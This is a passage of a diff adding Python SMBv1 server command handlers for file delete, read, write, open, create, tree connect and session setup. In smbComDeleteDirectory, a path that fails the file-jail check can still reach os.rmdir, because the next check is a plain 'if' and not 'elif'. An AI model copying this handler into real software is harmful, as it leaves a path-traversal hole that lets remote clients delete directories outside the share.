+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComDelete(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE)
+        respParameters = b''
+        respData = b''
+
+        comDeleteData = smb.SMBDelete_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            errorCode = STATUS_SUCCESS
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comDeleteData['FileName']))
+            pathName = os.path.join(path, fileName)
+
+            if not isInFileJail(path, fileName):
+                smbServer.log("Path not in current working directory", logging.ERROR)
+                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            elif not os.path.exists(pathName):
+                errorCode = STATUS_NO_SUCH_FILE
+
+            else:
+                try:
+                    os.remove(pathName)
+                except OSError as e:
+                    smbServer.log("smbComDelete: %s" % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComDeleteDirectory(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
+        respParameters = b''
+        respData = b''
+
+        comDeleteDirectoryData = smb.SMBDeleteDirectory_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            errorCode = STATUS_SUCCESS
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], comDeleteDirectoryData['DirectoryName']))
+            pathName = os.path.join(path, fileName)
+
+            if not isInFileJail(path, fileName):
+                smbServer.log("Path not in current working directory", logging.ERROR)
+                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            if os.path.exists(pathName) is not True:
+                errorCode = STATUS_NO_SUCH_FILE
+
+            else:
+                try:
+                    os.rmdir(pathName)
+                except OSError as e:
+                    smbServer.log("smbComDeleteDirectory: %s" % e, logging.ERROR)
+                    if e.errno == errno.ENOTEMPTY:
+                        errorCode = STATUS_DIRECTORY_NOT_EMPTY
+                    else:
+                        errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComWriteAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
+        respParameters = smb.SMBWriteAndXResponse_Parameters()
+        respData = b''
+
+        if SMBCommand['WordCount'] == 0x0C:
+            writeAndX = smb.SMBWriteAndX_Parameters_Short(SMBCommand['Parameters'])
+            writeAndXData = smb.SMBWriteAndX_Data_Short()
+        else:
+            writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters'])
+            writeAndXData = smb.SMBWriteAndX_Data()
+        writeAndXData['DataLength'] = writeAndX['DataLength']
+        writeAndXData['DataOffset'] = writeAndX['DataOffset']
+        writeAndXData.fromString(SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if writeAndX['Fid'] in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][writeAndX['Fid']]['FileHandle']
+                errorCode = STATUS_SUCCESS
+                try:
+                    if fileHandle != PIPE_FILE_DESCRIPTOR:
+                        offset = writeAndX['Offset']
+                        if 'HighOffset' in writeAndX.fields:
+                            offset += (writeAndX['HighOffset'] << 32)
+                        # If we're trying to write past the file end we just skip the write call (Vista does this)
+                        if os.lseek(fileHandle, 0, 2) >= offset:
+                            os.lseek(fileHandle, offset, 0)
+                            os.write(fileHandle, writeAndXData['Data'])
+                    else:
+                        sock = connData['OpenedFiles'][writeAndX['Fid']]['Socket']
+                        sock.send(writeAndXData['Data'])
+
+                    respParameters['Count'] = writeAndX['DataLength']
+                    respParameters['Available'] = 0xff
+                except Exception as e:
+                    smbServer.log('smbComWriteAndx: %s' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComRead(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ)
+        respParameters = smb.SMBReadResponse_Parameters()
+        respData = smb.SMBReadResponse_Data()
+
+        comReadParameters = smb.SMBRead_Parameters(SMBCommand['Parameters'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if comReadParameters['Fid'] in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][comReadParameters['Fid']]['FileHandle']
+                errorCode = STATUS_SUCCESS
+                try:
+                    if fileHandle != PIPE_FILE_DESCRIPTOR:
+                        # TODO: Handle big size files
+                        os.lseek(fileHandle, comReadParameters['Offset'], 0)
+                        content = os.read(fileHandle, comReadParameters['Count'])
+                    else:
+                        sock = connData['OpenedFiles'][comReadParameters['Fid']]['Socket']
+                        content = sock.recv(comReadParameters['Count'])
+                    respParameters['Count'] = len(content)
+                    respData['DataLength'] = len(content)
+                    respData['Data'] = content
+                except Exception as e:
+                    smbServer.log('smbComRead: %s ' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComReadAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_READ_ANDX)
+        respParameters = smb.SMBReadAndXResponse_Parameters()
+        respData = b''
+
+        if SMBCommand['WordCount'] == 0x0A:
+            readAndX = smb.SMBReadAndX_Parameters2(SMBCommand['Parameters'])
+        else:
+            readAndX = smb.SMBReadAndX_Parameters(SMBCommand['Parameters'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if readAndX['Fid'] in connData['OpenedFiles']:
+                fileHandle = connData['OpenedFiles'][readAndX['Fid']]['FileHandle']
+                errorCode = 0
+                try:
+                    if fileHandle != PIPE_FILE_DESCRIPTOR:
+                        offset = readAndX['Offset']
+                        if 'HighOffset' in readAndX.fields:
+                            offset += (readAndX['HighOffset'] << 32)
+                        os.lseek(fileHandle, offset, 0)
+                        content = os.read(fileHandle, readAndX['MaxCount'])
+                    else:
+                        sock = connData['OpenedFiles'][readAndX['Fid']]['Socket']
+                        content = sock.recv(readAndX['MaxCount'])
+                    respParameters['Remaining'] = 0xffff
+                    respParameters['DataCount'] = len(content)
+                    respParameters['DataOffset'] = 59
+                    respParameters['DataCount_Hi'] = 0
+                    respData = content
+                except Exception as e:
+                    smbServer.log('smbComReadAndX: %s ' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+            else:
+                errorCode = STATUS_INVALID_HANDLE
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbQueryInformation(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION)
+        respParameters = smb.SMBQueryInformationResponse_Parameters()
+        respData = b''
+
+        queryInformation = smb.SMBQueryInformation_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], queryInformation['FileName']))
+            if not isInFileJail(path, fileName):
+                smbServer.log("Path not in current working directory", logging.ERROR)
+                errorCode = STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            else:
+                fileSize, lastWriteTime, fileAttributes = queryFsInformation(path, fileName, pktFlags=recvPacket['Flags2'])
+
+                respParameters['FileSize'] = fileSize
+                respParameters['LastWriteTime'] = lastWriteTime
+                respParameters['FileAttributes'] = fileAttributes
+                errorCode = STATUS_SUCCESS
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbQueryInformationDisk(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION_DISK)
+        respParameters = smb.SMBQueryInformationDiskResponse_Parameters()
+        respData = b''
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            totalUnits, freeUnits = queryDiskInformation(
+                connData['ConnectedShares'][recvPacket['Tid']]['path'])
+
+            respParameters['TotalUnits'] = totalUnits
+            respParameters['BlocksPerUnit'] = 1
+            respParameters['BlockSize'] = 1
+            respParameters['FreeUnits'] = freeUnits
+            errorCode = STATUS_SUCCESS
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respData = b''
+            respParameters = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComEcho(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
+        respParameters = smb.SMBEchoResponse_Parameters()
+        respData = smb.SMBEchoResponse_Data()
+
+        echoData = smb.SMBEcho_Data(SMBCommand['Data'])
+
+        respParameters['SequenceNumber'] = 1
+        respData['Data'] = echoData['Data']
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        errorCode = STATUS_SUCCESS
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComTreeDisconnect(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_DISCONNECT)
+
+        # Check if the Tid matches the Tid trying to disconnect
+        respParameters = b''
+        respData = b''
+
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            smbServer.log("Disconnecting Share(%d:%s)" % (
+            recvPacket['Tid'], connData['ConnectedShares'][recvPacket['Tid']]['shareName']))
+            del (connData['ConnectedShares'][recvPacket['Tid']])
+            errorCode = STATUS_SUCCESS
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        smbServer.setConnectionData(connId, connData)
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComLogOffAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOGOFF_ANDX)
+
+        # Check if the Uid matches the user trying to logoff
+        respParameters = b''
+        respData = b''
+        if recvPacket['Uid'] != connData['Uid']:
+            errorCode = STATUS_SMB_BAD_UID
+        else:
+            errorCode = STATUS_SUCCESS
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        connData['Uid'] = 0
+        connData['Authenticated'] = False
+
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComQueryInformation2(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_QUERY_INFORMATION2)
+        respParameters = smb.SMBQueryInformation2Response_Parameters()
+        respData = b''
+
+        queryInformation2 = smb.SMBQueryInformation2_Parameters(SMBCommand['Parameters'])
+        errorCode = 0xFF
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            if queryInformation2['Fid'] in connData['OpenedFiles']:
+                errorCode = STATUS_SUCCESS
+                pathName = connData['OpenedFiles'][queryInformation2['Fid']]['FileName']
+                try:
+                    (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)
+                    respParameters['CreateDate'] = getSMBDate(ctime)
+                    respParameters['CreationTime'] = getSMBTime(ctime)
+                    respParameters['LastAccessDate'] = getSMBDate(atime)
+                    respParameters['LastAccessTime'] = getSMBTime(atime)
+                    respParameters['LastWriteDate'] = getSMBDate(mtime)
+                    respParameters['LastWriteTime'] = getSMBTime(mtime)
+                    respParameters['FileDataSize'] = size
+                    respParameters['FileAllocationSize'] = size
+                    attribs = 0
+                    if os.path.isdir(pathName):
+                        attribs = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
+                    if os.path.isfile(pathName):
+                        attribs = smb.SMB_FILE_ATTRIBUTE_NORMAL
+                    respParameters['FileAttributes'] = attribs
+                except Exception as e:
+                    smbServer.log('smbComQueryInformation2 %s' % e, logging.ERROR)
+                    errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode > 0:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket):
+        # TODO: Fully implement this
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
+        respParameters = smb.SMBNtCreateAndXResponse_Parameters()
+        respData = b''
+
+        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
+        ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # if ntCreateAndXParameters['CreateFlags'] & 0x10:  # NT_CREATE_REQUEST_EXTENDED_RESPONSE
+        #    respParameters        = smb.SMBNtCreateAndXExtendedResponse_Parameters()
+        #    respParameters['VolumeGUID'] = '\x00'
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            # If we have a rootFid, the path is relative to that fid
+            errorCode = STATUS_SUCCESS
+            if ntCreateAndXParameters['RootFid'] > 0:
+                path = connData['OpenedFiles'][ntCreateAndXParameters['RootFid']]['FileName']
+                LOG.debug("RootFid present %s!" % path)
+            else:
+                if 'path' in connData['ConnectedShares'][recvPacket['Tid']]:
+                    path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+                else:
+                    path = 'NONE'
+                    errorCode = STATUS_ACCESS_DENIED
+
+            deleteOnClose = False
+
+            fileName = normalize_path(decodeSMBString(recvPacket['Flags2'], ntCreateAndXData['FileName']))
+            if not isInFileJail(path, fileName):
+                LOG.error("Path not in current working directory")
+                respSMBCommand['Parameters'] = b''
+                respSMBCommand['Data'] = b''
+                return [respSMBCommand], None, STATUS_OBJECT_PATH_SYNTAX_BAD
+
+            pathName = os.path.join(path, fileName)
+            createDisposition = ntCreateAndXParameters['Disposition']
+            mode = 0
+
+            if createDisposition == smb.FILE_SUPERSEDE:
+                mode |= os.O_TRUNC | os.O_CREAT
+            elif createDisposition & smb.FILE_OVERWRITE_IF == smb.FILE_OVERWRITE_IF:
+                mode |= os.O_TRUNC | os.O_CREAT
+            elif createDisposition & smb.FILE_OVERWRITE == smb.FILE_OVERWRITE:
+                if os.path.exists(pathName) is True:
+                    mode |= os.O_TRUNC
+                else:
+                    errorCode = STATUS_NO_SUCH_FILE
+            elif createDisposition & smb.FILE_OPEN_IF == smb.FILE_OPEN_IF:
+                if os.path.exists(pathName) is True:
+                    mode |= os.O_TRUNC
+                else:
+                    mode |= os.O_TRUNC | os.O_CREAT
+            elif createDisposition & smb.FILE_CREATE == smb.FILE_CREATE:
+                if os.path.exists(pathName) is True:
+                    errorCode = STATUS_OBJECT_NAME_COLLISION
+                else:
+                    mode |= os.O_CREAT
+            elif createDisposition & smb.FILE_OPEN == smb.FILE_OPEN:
+                if os.path.exists(pathName) is not True and (
+                        str(pathName) in smbServer.getRegisteredNamedPipes()) is not True:
+                    errorCode = STATUS_NO_SUCH_FILE
+
+            if errorCode == STATUS_SUCCESS:
+                desiredAccess = ntCreateAndXParameters['AccessMask']
+                if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ):
+                    mode |= os.O_RDONLY
+                if (desiredAccess & smb.FILE_WRITE_DATA) or (desiredAccess & smb.GENERIC_WRITE):
+                    if (desiredAccess & smb.FILE_READ_DATA) or (desiredAccess & smb.GENERIC_READ):
+                        mode |= os.O_RDWR  # | os.O_APPEND
+                    else:
+                        mode |= os.O_WRONLY  # | os.O_APPEND
+                if desiredAccess & smb.GENERIC_ALL:
+                    mode |= os.O_RDWR  # | os.O_APPEND
+
+                createOptions = ntCreateAndXParameters['CreateOptions']
+                if mode & os.O_CREAT == os.O_CREAT:
+                    if createOptions & smb.FILE_DIRECTORY_FILE == smb.FILE_DIRECTORY_FILE:
+                        try:
+                            # Let's create the directory
+                            os.mkdir(pathName)
+                            mode = os.O_RDONLY
+                        except Exception as e:
+                            smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName, mode, e), logging.ERROR)
+                            errorCode = STATUS_ACCESS_DENIED
+                if createOptions & smb.FILE_NON_DIRECTORY_FILE == smb.FILE_NON_DIRECTORY_FILE:
+                    # If the file being opened is a directory, the server MUST fail the request with
+                    # STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server
+                    # response.
+                    if os.path.isdir(pathName) is True:
+                        errorCode = STATUS_FILE_IS_A_DIRECTORY
+
+                if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
+                    deleteOnClose = True
+
+                if errorCode == STATUS_SUCCESS:
+                    try:
+                        if os.path.isdir(pathName) and sys.platform == 'win32':
+                            fid = VOID_FILE_DESCRIPTOR
+                        else:
+                            if sys.platform == 'win32':
+                                mode |= os.O_BINARY
+                            if str(pathName) in smbServer.getRegisteredNamedPipes():
+                                fid = PIPE_FILE_DESCRIPTOR
+                                sock = socket.socket()
+                                sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)])
+                            else:
+                                fid = os.open(pathName, mode)
+                    except Exception as e:
+                        smbServer.log("NTCreateAndX: %s,%s,%s" % (pathName, mode, e), logging.ERROR)
+                        # print e
+                        fid = 0
+                        errorCode = STATUS_ACCESS_DENIED
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode == STATUS_SUCCESS:
+            # Simple way to generate a fid
+            if len(connData['OpenedFiles']) == 0:
+                fakefid = 1
+            else:
+                fakefid = list(connData['OpenedFiles'].keys())[-1] + 1
+            respParameters['Fid'] = fakefid
+            respParameters['CreateAction'] = createDisposition
+            if fid == PIPE_FILE_DESCRIPTOR:
+                respParameters['FileAttributes'] = 0x80
+                respParameters['IsDirectory'] = 0
+                respParameters['CreateTime'] = 0
+                respParameters['LastAccessTime'] = 0
+                respParameters['LastWriteTime'] = 0
+                respParameters['LastChangeTime'] = 0
+                respParameters['AllocationSize'] = 4096
+                respParameters['EndOfFile'] = 0
+                respParameters['FileType'] = 2
+                respParameters['IPCState'] = 0x5ff
+            else:
+                if os.path.isdir(pathName):
+                    respParameters['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
+                    respParameters['IsDirectory'] = 1
+                else:
+                    respParameters['IsDirectory'] = 0
+                    respParameters['FileAttributes'] = ntCreateAndXParameters['FileAttributes']
+                # Let's get this file's information
+                respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO)
+                if errorCode == STATUS_SUCCESS:
+                    respParameters['CreateTime'] = respInfo['CreationTime']
+                    respParameters['LastAccessTime'] = respInfo['LastAccessTime']
+                    respParameters['LastWriteTime'] = respInfo['LastWriteTime']
+                    respParameters['LastChangeTime'] = respInfo['LastChangeTime']
+                    respParameters['FileAttributes'] = respInfo['ExtFileAttributes']
+                    respParameters['AllocationSize'] = respInfo['AllocationSize']
+                    respParameters['EndOfFile'] = respInfo['EndOfFile']
+                else:
+                    respParameters = b''
+                    respData = b''
+
+            if errorCode == STATUS_SUCCESS:
+                # Let's store the fid for the connection
+                # smbServer.log('Create file %s, mode:0x%x' % (pathName, mode))
+                connData['OpenedFiles'][fakefid] = {}
+                connData['OpenedFiles'][fakefid]['FileHandle'] = fid
+                connData['OpenedFiles'][fakefid]['FileName'] = pathName
+                connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose
+                if fid == PIPE_FILE_DESCRIPTOR:
+                    connData['OpenedFiles'][fakefid]['Socket'] = sock
+        else:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComOpenAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_OPEN_ANDX)
+        respParameters = smb.SMBOpenAndXResponse_Parameters()
+        respData = b''
+
+        openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters'])
+        openAndXData = smb.SMBOpenAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data'])
+
+        # Get the Tid associated
+        if recvPacket['Tid'] in connData['ConnectedShares']:
+            path = connData['ConnectedShares'][recvPacket['Tid']]['path']
+            openedFile, mode, pathName, errorCode = openFile(path,
+                                                             decodeSMBString(recvPacket['Flags2'],
+                                                                             openAndXData['FileName']),
+                                                             openAndXParameters['DesiredAccess'],
+                                                             openAndXParameters['FileAttributes'],
+                                                             openAndXParameters['OpenMode'])
+        else:
+            errorCode = STATUS_SMB_BAD_TID
+
+        if errorCode == STATUS_SUCCESS:
+            # Simple way to generate a fid
+            fid = len(connData['OpenedFiles']) + 1
+            if len(connData['OpenedFiles']) == 0:
+                fid = 1
+            else:
+                fid = list(connData['OpenedFiles'].keys())[-1] + 1
+            respParameters['Fid'] = fid
+            if mode & os.O_CREAT:
+                # File did not exist and was created
+                respParameters['Action'] = 0x2
+            elif mode & os.O_RDONLY:
+                # File existed and was opened
+                respParameters['Action'] = 0x1
+            elif mode & os.O_APPEND:
+                # File existed and was opened
+                respParameters['Action'] = 0x1
+            else:
+                # File existed and was truncated
+                respParameters['Action'] = 0x3
+
+            # Let's store the fid for the connection
+            # smbServer.log('Opening file %s' % pathName)
+            connData['OpenedFiles'][fid] = {}
+            connData['OpenedFiles'][fid]['FileHandle'] = openedFile
+            connData['OpenedFiles'][fid]['FileName'] = pathName
+            connData['OpenedFiles'][fid]['DeleteOnClose'] = False
+        else:
+            respParameters = b''
+            respData = b''
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+        smbServer.setConnectionData(connId, connData)
+
+        return [respSMBCommand], None, errorCode
+
+    @staticmethod
+    def smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId)
+
+        resp = smb.NewSMBPacket()
+        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
+        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
+                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
+
+        resp['Tid'] = recvPacket['Tid']
+        resp['Mid'] = recvPacket['Mid']
+        resp['Pid'] = connData['Pid']
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
+        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
+        respData = smb.SMBTreeConnectAndXResponse_Data()
+
+        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])
+
+        if treeConnectAndXParameters['Flags'] & 0x8:
+            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()
+
+        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(flags=recvPacket['Flags2'])
+        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']
+        treeConnectAndXData.fromString(SMBCommand['Data'])
+
+        errorCode = STATUS_SUCCESS
+
+        ## Process here the request, does the share exist?
+        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
+
+        # Is this a UNC?
+        if ntpath.ismount(UNCOrShare):
+            path = UNCOrShare.split('\\')[3]
+        else:
+            path = ntpath.basename(UNCOrShare)
+
+        share = searchShare(connId, path, smbServer)
+        if share is not None:
+            # Simple way to generate a Tid
+            if len(connData['ConnectedShares']) == 0:
+                tid = 1
+            else:
+                tid = list(connData['ConnectedShares'].keys())[-1] + 1
+            connData['ConnectedShares'][tid] = share
+            connData['ConnectedShares'][tid]['shareName'] = path
+            resp['Tid'] = tid
+            # smbServer.log("Connecting Share(%d:%s)" % (tid,path))
+        else:
+            smbServer.log("TreeConnectAndX not found %s" % path, logging.ERROR)
+            errorCode = STATUS_OBJECT_PATH_NOT_FOUND
+            resp['ErrorCode'] = errorCode >> 16
+            resp['ErrorClass'] = errorCode & 0xff
+        ##
+        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
+
+        if path == 'IPC$':
+            respData['Service'] = 'IPC'
+        else:
+            respData['Service'] = path
+        respData['PadLen'] = 0
+        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS').decode()
+
+        respSMBCommand['Parameters'] = respParameters
+        respSMBCommand['Data'] = respData
+
+        resp['Uid'] = connData['Uid']
+        resp.addCommand(respSMBCommand)
+
+        # Sign the packet if needed
+        if connData['SignatureEnabled']:
+            smbServer.signSMBv1(connData, resp, connData['SigningSessionKey'], connData['SigningChallengeResponse'])
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [resp], errorCode
+
+    @staticmethod
+    def smbComSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId, checkStatus=False)
+
+        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
+
+        # From [MS-SMB]
+        # When extended security is being used (see section 3.2.4.2.4), the
+        # request MUST take the following form
+        # [..]
+        # WordCount (1 byte): The value of this field MUST be 0x0C.
+        if SMBCommand['WordCount'] == 12:
+            # Extended security. Here we deal with all SPNEGO stuff
+            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
+            respData = smb.SMBSessionSetupAndX_Extended_Response_Data(flags=recvPacket['Flags2'])
+            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
+            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
+            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
+            sessionSetupData.fromString(SMBCommand['Data'])
+            connData['Capabilities'] = sessionSetupParameters['Capabilities']
+
+            rawNTLM = False
+            if struct.unpack('B', sessionSetupData['SecurityBlob'][0:1])[0] == ASN1_AID:
+                # NEGOTIATE packet
+                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
+                token = blob['MechToken']
+                if len(blob['MechTypes'][0]) > 0:
+                    # Is this GSSAPI NTLM or something else we don't support?
+                    mechType = blob['MechTypes'][0]
+                    if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:
+                        # Nope, do we know it?
+                        if mechType in MechTypes:
+                            mechStr = MechTypes[mechType]
+                        else:
+                            mechStr = hexlify(mechType)
+                        smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
+                        # We don't know the token, we answer back again saying
+                        # we just support NTLM.
+                        # ToDo: Build this into a SPNEGO_NegTokenResp()
+                        respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
